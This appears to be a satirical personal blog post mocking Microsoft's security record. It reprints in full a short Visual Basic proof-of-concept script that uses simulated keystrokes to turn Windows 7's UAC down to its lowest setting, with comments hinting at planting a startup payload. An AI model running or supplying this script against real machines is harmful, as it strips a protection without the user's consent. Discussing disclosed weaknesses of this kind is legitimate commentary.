Fuzzy Saturday

Things aren't as unclear as they might appear to be.

Get It Try It

Actually it's too late to write this yesterday so it'll get published today. Fuzzy Saturday. Yesterday was a doozie. A day when you want nothing to happen and you hope should anything happen it'll be something intelligent but things happen still the same.

And sure enough they're all mostly dumb.

It's hard to know where to start. Perhaps this report from IBM's X-Force might serve as adequately as anything. This PDF basically says Apple's OS X may be the most vulnerable OS going, IBM's AIX is by far the most secure, and things aren't really that bad with Windows after all.

Keep telling yourself that.

Then there's this. Two dudes crafted a super simple Visual Basic script to essentially totally own a Windows Se7en machine. Here's the code - in toto.

'// 1337H4x Written by _____________
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

It's that easy. A pair of script kiddies crack Microsoft's entire defences. PWOMP. Of course Microsoft want to play this one down. That's all they ever do. George Stathakopoulos poured on the bullshit thick.

As part of Microsoft's ongoing security efforts we constantly look for ways to use a diverse set of tools and develop methodologies to protect our customers. By combining our expertise with the broader community we can expand the boundaries of defence to better protect people worldwide.

You go George. Hope they're paying you well for that. Of course they are.

But we saved the best for last. It turns out all Microsoft have left to save face - as per usual - is to deflect the blame for Confucker away from their sorry butts.

They're namely offering a REWARD for the culprits behind the thing. The few of you old enough (and with enough brains remaining) to remember know they did this once before - and got a hacker to turn on his own.

But they got the wrong guy that time and they're not interested in getting the right guy this time either.

We're presently putting together our application for the 250,000 US pesetas. Because we know who's behind the current calamity that's crashed the Royal Navy, the French airforce, a hospital network, and so on and so forth and so on and so forth.

Bill Fuzzy Gates III.

 - 'Mac Skywatcher'